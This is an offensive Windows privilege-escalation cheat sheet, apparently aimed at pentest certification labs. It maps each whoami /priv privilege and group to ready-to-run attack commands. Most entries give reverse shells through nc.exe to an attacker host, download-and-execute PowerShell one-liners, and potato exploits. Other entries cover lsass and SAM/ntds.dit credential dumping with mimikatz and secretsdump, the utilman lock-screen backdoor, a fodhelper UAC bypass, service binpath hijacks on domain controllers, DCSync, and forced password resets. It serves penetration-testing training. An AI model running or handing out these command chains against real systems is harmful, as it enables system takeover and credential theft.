Privileges & groups
Every line of whoami /priv and whoami /groups that changes what you do next — what it gives you, and the commands, from the box and from Kali
You ran whoami /priv and whoami /groups and there is a line you half
recognise. Find it below, or press / and type it. Each entry says what the
privilege or group actually lets you do, how to confirm it, the abuse from the
box and from Kali where there is one, and what to do with the result.
Disabled next to a privilege does not mean you do not have it — it is in the
token, and any tool that needs it enables it itself. The integrity line at the
top of whoami /groups matters as much as anything below it: Medium with
Administrators in the list is UAC in the way, not a privesc.
The tags say how often an entry decides an exam box. Type likely in the
filter to see only those.
variables
Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.
paste this into a fresh terminal
export LPORT=4444export WORKDIR=.export USERLIST="$WORKDIR/users.md"export PASSLIST="$WORKDIR/passwords.md"export ROCKYOU=/usr/share/wordlists/rockyou.txtexport SECLISTS=/usr/share/seclistsstart
read whoami /priv and whoami /groups together. The privilege says what the token can do, the group says why it has it, and the integrity line at the top says whether any of it is reachable right now
read the output [4]
Disabled next to a privilege does not mean you do not have it. It is in the token, and anything that needs it enables it itself. The ones that matter are below
whoami /privwhoami /groupswhoami /allwhoami /groups | findstr /i "mandatory"net localgroup administratorsMedium with Administrators in the group list is UAC in the way, not permissions — nothing below is needed, you need a shell that was never filtered. High is elevated. System is a service, or a potato that worked
# Mandatory Label\Medium Mandatory Level : a normal user, or a filtered admin. Check net localgroup administrators# Mandatory Label\High Mandatory Level : elevated. You are done — go and read the hives# Mandatory Label\System Mandatory Level : SYSTEM. Same# filtered admin? come back in unfiltered, from kali:evil-winrm -i $IP -u $USER1 -p $PASS1impacket-psexec "$USER1:$PASS1@$IP"every token carries SeChangeNotify and SeIncreaseWorkingSet. A desktop logon adds SeShutdown, SeUndock and SeTimeZone. None of them gets you anything — whoami /priv showing only those is a plain user
whoami /priv | findstr /v "SeChangeNotify SeIncreaseWorkingSet SeShutdown SeUndock SeTimeZone"most tools do this for you. When one does not — takeown or robocopy saying access denied with the privilege plainly there — enable it in the shell first
iex(iwr http://$LHOST:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv# EnableAllTokenPrivs.ps1 — https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1which first [2]
the output usually has more than one. This is the order that costs the least
# SeImpersonate / SeAssignPrimaryToken : a potato. Five minutes, SYSTEM, nearly every service account# SeBackup : reg save the hives, secretsdump them. On a DC, ntds.dit through diskshadow# SeRestore / SeTakeOwnership : overwrite something SYSTEM runs — a service binary, or utilman.exe if you have a desktop# SeManageVolume : the exploit, then System32 is writable and it is SeRestore again# SeDebug : dump lsass, or spawn under winlogon and inherit SYSTEM# SeLoadDriver : capcom. Slow, needs compiling, last# Administrators + Medium label : UAC. Come back in over winrm or psexec# Backup Operators : SeBackup and SeRestore, and they can log on to the DC# Server Operators : change a service on the DC, start it, SYSTEM on the DC# DnsAdmins : a dll into dns.exe on the DC, SYSTEM on the DC# Account Operators : put yourself in DnsAdmins, or reset a service account's password# NT AUTHORITY\SERVICE, IIS APPPOOL\* : you are a service — SeImpersonate is almost certainly in the list# Remote Management / Remote Desktop Users : not a privesc. A way back in, which is sometimes all you neededprivileges
as whoami /priv lists them. All 36 windows privileges, A to Z — most are one line saying there is nothing here, so the lookup never misses
SeAssignPrimaryTokenPrivilege [1]exam: likely
replace the primary token of a process you create. Service accounts carry it next to SeImpersonate, and the same potatoes use whichever of the two they find
.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# the full set, and which potato for which windows, is under SeImpersonatePrivilegeSeAuditPrivilege [1]exam: none
write entries to the security log. Nothing to gain
# services have it so they can log. It does not read the log — that is SeSecurityPrivilegeSeBackupPrivilege [5]exam: possible
read any file whatever its ACL says, because backup software has to. The bypass only happens when the open asks for backup semantics, so type and copy still fail — reg save, robocopy /b and diskshadow ask for it
whoami /priv | findstr /i SeBackupwhoami /groups | findstr /i "Backup Operators"the two hives are enough for the local Administrator hash — pass it back in over smb or winrm
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemimpacket-secretsdump -sam sam -system system LOCALevil-winrm -i $IP -u Administrator -H <nt hash>robocopy copies by name, so you give it the directory and the file separately. Or the backup cmdlets, which are two dlls
robocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtrobocopy /b C:\Users\Administrator\.ssh C:\Windows\Temp\x id_rsaImport-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dllSet-SeBackupPrivilege; Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\proof.txt C:\Windows\Temp\proof.txt -Overwritethe file is locked, so it comes out of a shadow copy. diskshadow reads a script, and the script wants windows line endings. The SYSTEM hive comes with it or nothing decrypts
diskshadow
printf 'set context persistent nocheckers\nadd volume c: alias cdrive\ncreate\nexpose %%cdrive%% z:\n' | unix2dos > $WORKDIR/www/shadow.dsh# on the DC:diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\system# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCALimpacket's reg backup writes the three hives to a share of yours, over the wire, as a Backup Operator. The local Administrator and the machine account come out of it — not the domain, that still wants ntds
impacket-smbserver x $WORKDIR/loot -smb2supportimpacket-reg "$DOMAIN/$USER1:$PASS1@$DC" backup -o "\\\\$LHOST\\x"impacket-secretsdump -sam $WORKDIR/loot/SAM.save -system $WORKDIR/loot/SYSTEM.save -security $WORKDIR/loot/SECURITY.save LOCALSeChangeNotifyPrivilege [1]exam: none
bypass traverse checking — walk through directories you cannot list. Every token has it
# the one line whoami /priv always shows. Not a findingSeCreateGlobalPrivilege [1]exam: none
create named objects in the global namespace. Services and administrators have it, and nothing comes of it on its own
# normal for a service account. Look at the rest of the listSeCreatePagefilePrivilege [1]exam: none
create or resize the pagefile. Nothing to gain
# administrators have it by default. Not a findingSeCreatePermanentPrivilege [1]exam: none
create permanent kernel objects. Nothing to gain from a user token
# SYSTEM and services. Not a findingSeCreateSymbolicLinkPrivilege [1]exam: none
make symlinks. Only matters paired with a privileged process writing to a path you control, which is a bug in that process rather than a privilege you abuse on its own
# administrators have it by default. If a SYSTEM service writes to a user-controlled path, that is the finding — not thisSeCreateTokenPrivilege [1]exam: rare
make a token from nothing, with any groups in it — one holding the local Administrators SID. Needs code, and almost nothing but SYSTEM and lsass has it
# ZwCreateToken with a group list of your choosing, then CreateProcessAsUser with the result# a working PoC — https://github.com/decoder-it/CreateTokenExample — compile, run, cmd as the token# if you actually have this on a user token the box was built to be solved this way. Otherwise look at the rest of the list firstSeDebugPrivilege [4]exam: possible
open any process, including lsass and anything running as SYSTEM. Two uses — read lsass for the password and hash of everyone logged on, or spawn a child of a SYSTEM process and inherit its token. Administrators have it; some service accounts do
whoami /priv | findstr /i SeDebugcomsvcs.dll is on every box and is Microsoft's, so Defender lets it be. The dump comes back to kali and pypykatz reads it there
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullcopy C:\Windows\Temp\lsass.dmp \\$LHOST\share\pypykatz lsa minidump $WORKDIR/loot/lsass.dmp.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exita new process whose parent is winlogon inherits winlogon's token. psgetsys.ps1 does the parent-process dance; mimikatz's token::elevate does it for its own process, which is enough to read the hives
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" exitiex(iwr http://$LHOST:8000/psgetsys.ps1 -UseBasicParsing); ImpersonateFromParentPid -ppid (Get-Process winlogon).Id -command C:\Windows\Temp\nc.exe -cmdargs "$LHOST $LPORT -e cmd"# psgetsys.ps1 — https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1SeDelegateSessionUserImpersonatePrivilege [1]exam: none
impersonate another user in the same session. Administrators have it; nothing comes of it
# default for administrators since windows 10. Not a findingSeEnableDelegationPrivilege [1]exam: rare
set the delegation flags on accounts. Mark a computer you control as trusted for unconstrained delegation, or give an account constrained delegation to the DC, and then it is the usual delegation abuse. Granted on DCs to Administrators only, by default
# a user you control, constrained delegation to the DC's cifs, with protocol transition:Set-DomainObject -Identity $USER1 -Set @{'msds-allowedtodelegateto'='cifs/$DC'}Set-DomainObject -Identity $USER1 -Set @{'useraccountcontrol'=16777216}impacket-getST -spn cifs/$DC -impersonate Administrator "$DOMAIN/$USER1:$PASS1" -dc-ip $IP# the rest is AllowedToDelegate on the bloodhound pageSeImpersonatePrivilege [4]exam: likely
impersonate any client that authenticates to you — and a potato makes SYSTEM authenticate to you. Every service account has it, IIS and MSSQL included, which is why a web shell or xp_cmdshell so often ends in SYSTEM within five minutes. The most common windows privesc on the exam
all of them want an outbound shell afterwards, so have the listener up. PrintSpoofer wants the spooler running. GodPotato works from 2012 to 2022 and on 11 without it. SigmaPotato is GodPotato with a reverse shell built in
whoami /priv | findstr /i impersonatesysteminfo | findstr /B /C:"OS Name" /C:"OS Version"Get-Service Spooler# PrintSpoofer : 10 / 2016 / 2019, spooler running# GodPotato : 2012 to 2022, 10 and 11. The default pick# SigmaPotato : same reach, --revshell built in, .NET 4 or newer# JuicyPotatoNG : 2019 and 10 1809 onward, when the others are caught.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\SigmaPotato.exe --revshell $LHOST $LPORT.\SigmaPotato.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\nc.exe" -a "$LHOST $LPORT -e cmd"no interactive shell needed — the potato is the shell. Quote the inner command once for the potato and once for whatever you are typing into
xp_cmdshell "C:\Windows\Temp\GodPotato-NET4.exe -cmd \"C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd\""curl -s "http://$IP/shell.aspx?c=C:\Windows\Temp\GodPotato-NET4.exe+-cmd+%22C:\Windows\Temp\nc.exe+$LHOST+$LPORT+-e+cmd%22"you are SYSTEM. Proof, then the hives, then a domain credential if the box is joined — the machine account is one
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" exitreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securitySeIncreaseBasePriorityPrivilege [1]exam: none
raise process priority. Nothing to gain
# administrators have it. Not a findingSeIncreaseQuotaPrivilege [1]exam: none
adjust memory quotas. On its own nothing — it is needed alongside SeAssignPrimaryToken for CreateProcessAsUser, which the potatoes handle
# if it is next to SeAssignPrimaryToken, see that. Alone, not a findingSeIncreaseWorkingSetPrivilege [1]exam: none
every token has it. Not a finding
# the other line whoami /priv always showsSeLoadDriverPrivilege [1]exam: rare
load a kernel driver. Drivers must be signed, so you load Capcom.sys — signed, and it runs whatever shellcode you hand it. Print Operators have this on DCs, which is the only place it turns up for a user
two binaries to build — EoPLoadDriver registers the driver under HKCU and loads it, ExploitCapcom talks to it. ExploitCapcom launches cmd.exe on the desktop by default; edit it to run your nc line before compiling, since you rarely have a desktop
# Capcom.sys, EoPLoadDriver, ExploitCapcom — github: FuzzySecurity/Capcom-Rootkit, TarlogicSecurity/EoPLoadDriver, tandasat/ExploitCapcom.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys.\ExploitCapcom.exe# the driver stays loaded until reboot; the key does not clean itself upreg delete HKCU\System\CurrentControlSet\MyService /fSeLockMemoryPrivilege [1]exam: none
lock pages in memory. Database service accounts get it for performance. Not a finding
# MSSQL's service account usually has it. The finding there is SeImpersonate, further up the listSeMachineAccountPrivilege [1]exam: none
add computers to the domain. Every authenticated user has it, ten times over — MachineAccountQuota. Not a privesc; it is what makes resource-based constrained delegation possible when something lets you write to a computer object
nxc ldap $DC -u $USER1 -p $PASS1 -M maqimpacket-addcomputer "$DOMAIN/$USER1:$PASS1" -computer-name 'FAKE01$' -computer-pass 'FakePass123!' -dc-ip $IP# then AddAllowedToAct, or GenericWrite on a computer, on the bloodhound pageSeManageVolumePrivilege [3]exam: possible
volume maintenance tasks, which the exploit turns into full control of C:\ for everyone. After it, System32 is yours to write — so it is SeRestorePrivilege by another route. Granted to a user when something needed to defragment or set up a database
whoami /priv | findstr /i SeManageVolumeone binary, no arguments. Check the ACL on C:\ afterwards — Users should now show (F)
.\SeManageVolumeExploit.exeicacls C:\ | findstr /i "users everyone"icacls C:\Windows\System32 | findstr /i "users everyone"the same moves as SeRestorePrivilege. A service binary, or utilman.exe if you have the lock screen. The printconfig route makes the spooler load your dll as SYSTEM without a desktop
# a service running as SYSTEM that you can restart, whose binary is now writable:sc qc <service> | findstr BINARY_PATH_NAMEcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># or the spooler — it loads this dll as SYSTEM when a print notification object is created:copy /y C:\Windows\Temp\evil.dll C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll$t=[Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}"); $o=[Activator]::CreateInstance($t); $o.Open()SeProfileSingleProcessPrivilege [1]exam: none
read performance data about one process. Nothing to gain
# administrators have it. Not a findingSeRelabelPrivilege [1]exam: rare
change an object's integrity label, which lets you take ownership of objects at a higher integrity than yours. Nothing has it by default and nothing quick comes of it
# if you have it next to SeTakeOwnership, use that. Alone, move onSeRemoteShutdownPrivilege [1]exam: none
reboot the box from the network. The one use is the same as SeShutdown — a service you repointed that is set to start automatically, which you cannot restart yourself
shutdown /r /t 0 /m \\$IPSeRestorePrivilege [4]exam: possible
write any file whatever its ACL says, for the same reason SeBackup can read it. The bypass needs the open to ask for restore semantics, so plain copy fails — robocopy /b asks, and the registry route sidesteps files altogether. Overwrite something SYSTEM runs
whoami /priv | findstr /i SeRestoreSeRestoreAbuse points the seclogon service's ImagePath at your command and starts it. No desktop needed, nothing on disk changes
.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# https://github.com/xct/SeRestoreAbuserobocopy copies by name into a directory, so stage the file under the name it has to land as. A service binary and a restart, or utilman.exe and the lock screen if you have rdp
copy C:\Windows\Temp\svc.exe C:\Windows\Temp\x\service.exerobocopy /b C:\Windows\Temp\x "C:\path\to" service.exesc stop <service> & sc start <service># the lock screen route:copy C:\Windows\System32\cmd.exe C:\Windows\Temp\x\utilman.exerobocopy /b C:\Windows\Temp\x C:\Windows\System32 utilman.exe# lock the screen, click ease of access (or Win+U) — cmd as SYSTEMthe privilege is there but disabled in this token, and robocopy does not enable it. Enable the lot
iex(iwr http://$LHOST:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv | findstr /i SeRestoreSeSecurityPrivilege [1]exam: rare
manage the security log — read it and clear it. Process creation events carry the command line when that audit is on, and people type passwords on command lines
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass user net"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 20 TimeCreated,@{n='user';e={$_.Properties[5].Value}}SeShutdownPrivilege [1]exam: none
reboot. Not a privesc — but when you have repointed a service that is set to start automatically and cannot restart it, a reboot restarts it for you
whoami /priv | findstr SeShutdown && shutdown /r /t 0SeSyncAgentPrivilege [1]exam: rare
synchronise directory service data — the right to read every object for replication, which is to say a DCSync-shaped read. Nobody has it by default, so if a user does, the box put it there
impacket-secretsdump "$DOMAIN/$USER1:$PASS1@$DC" -just-dc-ntlmSeSystemEnvironmentPrivilege [1]exam: none
modify firmware environment variables. Nothing to gain
# administrators have it. Not a findingSeSystemProfilePrivilege [1]exam: none
profile system performance. Nothing to gain
# administrators have it. Not a findingSeSystemtimePrivilege [1]exam: none
change the clock. Nothing to gain, and on a domain member it would break your own kerberos
# not a finding. If the clock is wrong it is your kali clock — ntpdate $DCSeTakeOwnershipPrivilege [3]exam: possible
take ownership of any object, and an owner can rewrite the ACL. Two commands to own any file, then it is a plain overwrite of something SYSTEM runs
whoami /priv | findstr /i SeTakeOwnershipa service binary and a restart. Or utilman.exe and the lock screen when you have rdp — that leaves the lock screen broken, so put it back after
takeown /f "C:\path\to\service.exe" && icacls "C:\path\to\service.exe" /grant %USERNAME%:Fcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># the lock screen route:takeown /f C:\Windows\System32\utilman.exe && icacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\utilman.exe C:\Windows\Temp\utilman.bak & copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe# lock the screen, Win+U — cmd as SYSTEM. Afterwards: copy /y C:\Windows\Temp\utilman.bak C:\Windows\System32\utilman.exethe same idea against a service's ImagePath when the binary is somewhere you cannot reach — take ownership of the key, grant yourself, point it at your command
$k='HKLM:\SYSTEM\CurrentControlSet\Services\<service>'; $a=Get-Acl $k; $a.SetOwner([System.Security.Principal.NTAccount]$env:USERNAME); Set-Acl $k $a$a=Get-Acl $k; $a.AddAccessRule((New-Object System.Security.AccessControl.RegistryAccessRule($env:USERNAME,'FullControl','Allow'))); Set-Acl $k $areg add "HKLM\SYSTEM\CurrentControlSet\Services\<service>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" /fsc stop <service> & sc start <service>SeTcbPrivilege [1]exam: rare
act as part of the operating system — the privilege lsass uses to make tokens. A process with it can log any user on without a password and add groups to the result. Nothing but SYSTEM has it by default; a user with it is the whole box
# LsaLogonUser with an S4U logon for Administrator, the local Administrators SID added to the token, then CreateProcessWithToken# a working PoC in C# — https://github.com/decoder-it/SeTcbPrivilege — compile, run, cmd as SYSTEM# practical: anything that has SeTcb has SeDebug and SeImpersonate too. Use those first, they need no compilerSeTimeZonePrivilege [1]exam: none
change the time zone. Every desktop logon has it. Not a finding
# not a findingSeTrustedCredManAccessPrivilege [1]exam: rare
read the Credential Manager as a trusted caller — the saved rdp, web and network passwords of every user on the box, without their master key. Nothing has it by default
# PrivFu has a PoC that backs every user's credentials up to a file — github: daem0nc0re/PrivFu, PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC.\SeTrustedCredManAccessPrivilegePoC.exe C:\Windows\Temp\creds.bin# the README there says how to read the backup. The quicker check is whether cmdkey /list already shows something as youSeUndockPrivilege [1]exam: none
remove the computer from a docking station. Every desktop logon has it. Not a finding
# not a findingSeUnsolicitedInputPrivilege [1]exam: none
obsolete. It does nothing on any windows you will meet
# not a findinglocal
the integrity label, the logon identities and the BUILTIN groups, as whoami /groups lists them. The label at the top decides more than anything under it
Mandatory Label\Medium Mandatory Level [4]exam: likely
a normal user's token — or an administrator's, filtered by UAC. If BUILTIN\Administrators is further down the same list, nothing on this page is needed. You are an admin whose shell was never elevated
whoami /groups | findstr /i "mandatory administrators"net localgroup administratorsnetwork logons for domain accounts and for the built-in Administrator are not filtered. Any other local account is filtered remotely too, unless LocalAccountTokenFilterPolicy is set — which an elevated shell can do
evil-winrm -i $IP -u $USER1 -p $PASS1impacket-psexec "$DOMAIN/$USER1:$PASS1@$IP"impacket-wmiexec "$USER1:$PASS1@$IP"reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fneeds an interactive session — a desktop, or a shell spawned from one. fodhelper auto-elevates and reads its command from a key you can write. Put the key back after
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /freg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" /ffodhelper.exereg delete HKCU\Software\Classes\ms-settings /fa task created with explicit credentials runs with a whole token, filtered or not
schtasks /create /tn x /tr "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" /sc once /st 00:00 /ru $USER1 /rp $PASS1 /rl highest /f & schtasks /run /tn xMandatory Label\High Mandatory Level [1]exam: likely
elevated. UAC is behind you and the token is whole. Nothing on this page is needed — read the hives, take the proof
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\security.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" exitMandatory Label\System Mandatory Level [1]exam: likely
SYSTEM, or a service running as it. Same as High — and if the box is domain-joined, the machine account is a domain credential now
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit# the machine account — enumerate the domain and roast as the computer:.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrapNT AUTHORITY\INTERACTIVE [1]exam: none
a desktop or rdp logon. The tricks that need a desktop are available — runas, saved credentials, the uac bypasses, the lock-screen swap
cmdkey /listrunas /savecred /user:$DOMAIN\$ADMINU "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# Mandatory Label\Medium, above, for fodhelperNT AUTHORITY\NETWORK [1]exam: none
you came in over the network — winrm, smb, a web shell. No desktop, so nothing that needs one. Everything else works, and for an admin account the token is already unfiltered
# no runas, no fodhelper, no utilman. Potatoes, services, tasks and the hives are all finewhoami /privNT AUTHORITY\SERVICE [1]exam: likely
you are a service account — a web shell under IIS, xp_cmdshell under MSSQL, a scheduled task. SeImpersonatePrivilege is almost certainly in whoami /priv, and that is a potato away from SYSTEM
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"# the full set is under SeImpersonatePrivilegeNT AUTHORITY\Local account and member of Administrators group [1]exam: possible
this exact line means you are a local administrator who logged on from the network and got a filtered token — remote UAC. Only the built-in Administrator escapes it. Come in as RID 500, or get the policy changed from a session that is not filtered
# as the built-in Administrator, if you have that credential:evil-winrm -i $IP -u Administrator -p $ADMINP# from any elevated session on the box:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f# or an interactive logon — rdp — and then the Medium label entry above:xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /cert:ignoreIIS APPPOOL\DefaultAppPool [1]exam: likely
the web server's identity, so this is a web shell. It has SeImpersonate — potato. And the web root is writable by it, so the shell survives whatever else you do
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"icacls C:\inetpub\wwwroot | findstr /i "apppool iis_iusrs"# the app's own config has the database password:type C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"BUILTIN\Administrators [1]exam: likely
local admin. With a High or System label you are done. With Medium, UAC filtered this token and the fix is a shell that was never filtered — the Medium label entry. Nothing else on this page applies to you
whoami /groups | findstr /i mandatory# Medium — come back in:evil-winrm -i $IP -u $USER1 -p $PASS1# High or System — done:type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigBUILTIN\Backup Operators [4]exam: possible
SeBackupPrivilege and SeRestorePrivilege, and the right to log on to domain controllers locally. Read anything, write anything, on the DC included — both entries under privileges apply. The usual find is the DC's ntds.dit
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCALimpacket-smbserver x $WORKDIR/loot -smb2supportimpacket-reg "$DOMAIN/$USER1:$PASS1@$DC" backup -o "\\\\$LHOST\\x"impacket-secretsdump -sam $WORKDIR/loot/SAM.save -system $WORKDIR/loot/SYSTEM.save -security $WORKDIR/loot/SECURITY.save LOCALthe diskshadow script and the robocopy are under SeBackupPrivilege. The machine account hash out of the SECURITY hive is a domain credential on its own, before you even get to ntds
diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\systemimpacket-secretsdump -ntds ntds.dit -system system LOCAL# SeRestorePrivilege, above — a service binary through robocopy /b, or SeRestoreAbuse.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"BUILTIN\Server Operators [3]exam: possible
on domain controllers only. Log on locally, start and stop services, and change their configuration — which is a service binpath of your choosing, running as SYSTEM, on the DC
pick one that is stopped and set to manual so nothing notices — VSS is the usual. Put the path back after
sc.exe qc VSSsc.exe config VSS binPath= "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"sc.exe start VSSsc.exe config VSS binPath= "C:\Windows\system32\vssvc.exe"impacket-services "$DOMAIN/$USER1:$PASS1@$DC" change -name VSS -path "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"impacket-services "$DOMAIN/$USER1:$PASS1@$DC" start -name VSSimpacket-services "$DOMAIN/$USER1:$PASS1@$DC" change -name VSS -path "C:\Windows\system32\vssvc.exe"SYSTEM on the DC is the domain. dcsync from there, or just read the proof
.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\Administrator" exittype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigBUILTIN\Account Operators [3]exam: possible
create users and computers, and change any account or group that is not protected by AdminSDHolder and not in Builtin. Domain Admins, the Operators groups and Administrators are out of reach — DnsAdmins and every ordinary service account are not. The quiet route is DnsAdmins
net group "DnsAdmins" $USER1 /add /domainbloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 add groupMember DnsAdmins $USER1any user outside the protected groups. A service account with an SPN is a good one — it is usually local admin somewhere
net user svc_sql 'Passw0rd123!' /domainbloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 set password svc_sql 'Passw0rd123!'nxc smb $SUBNET -u svc_sql -p 'Passw0rd123!'# new group membership lives in a new ticket — log off and on, or get a fresh TGT. Then the DnsAdmins entryklist purgeBUILTIN\Print Operators [1]exam: rare
on domain controllers — log on locally, and SeLoadDriverPrivilege. Which is the capcom driver and SYSTEM on the DC, if you can build the two binaries
whoami /priv | findstr /i SeLoadDriver.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys && .\ExploitCapcom.exeBUILTIN\Remote Desktop Users [1]exam: none
rdp in. Not a privesc — but a desktop is what runas, the uac bypasses and the lock-screen swap need, so it changes which entries above apply
xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /d:$DOMAIN /cert:ignore /dynamic-resolution +clipboard /drive:share,$WORKDIR/wwwBUILTIN\Remote Management Users [1]exam: none
winrm in. Not a privesc — but it is the unfiltered shell the Medium label entry sends you to get, and the one every "come back in" on the cheatsheet means
evil-winrm -i $IP -u $USER1 -p $PASS1nxc winrm $IP -u $USER1 -p $PASS1BUILTIN\Distributed COM Users [1]exam: rare
launch and activate DCOM objects on this host remotely. Together with local admin it is the MMC20 lateral move onto this box; on its own some DCOM applications can still be driven. Rare that it matters
$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$IP2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7")impacket-dcomexec "$DOMAIN/$USER1:$PASS1@$IP2" -object MMC20BUILTIN\Event Log Readers [1]exam: rare
read the event logs, the security log included. Process creation events carry the command line when that audit is on, and people type passwords into commands. Logon events tell you where an admin is logged on
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass net user"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 30 TimeCreated,@{n='user';e={$_.Properties[5].Value}},@{n='from';e={$_.Properties[18].Value}}wevtutil qe Security /r:$DC /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "Command Line"BUILTIN\Hyper-V Administrators [2]exam: rare
full control of the virtual machines on this host. If a domain controller is one of them, its disk is readable from here — mount the vhdx and lift ntds.dit and SYSTEM out of it
Get-VM | select Name,StateGet-VMHardDiskDrive * | select VMName,Patha checkpoint gives you a consistent copy without stopping the VM. Mount it read-only and copy the two files out
Checkpoint-VM -Name DC01 -SnapshotName xMount-VHD -Path "C:\VMs\DC01\Virtual Hard Disks\DC01.vhdx" -ReadOnly -Passthru | Get-Disk | Get-Partition | Get-Volumerobocopy /b E:\Windows\NTDS C:\Windows\Temp\x ntds.ditrobocopy /b E:\Windows\System32\config C:\Windows\Temp\x SYSTEMRemove-VMSnapshot -VMName DC01 -Name x# on kali: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCALBUILTIN\Users, Authenticated Users, Everyone [1]exam: likely
not a privilege — but the names to look for in icacls output. (F) or (M) for any of these on a service binary, its folder, a scheduled task's script or an autorun is the privesc. The services entries on the cheatsheet are built on it
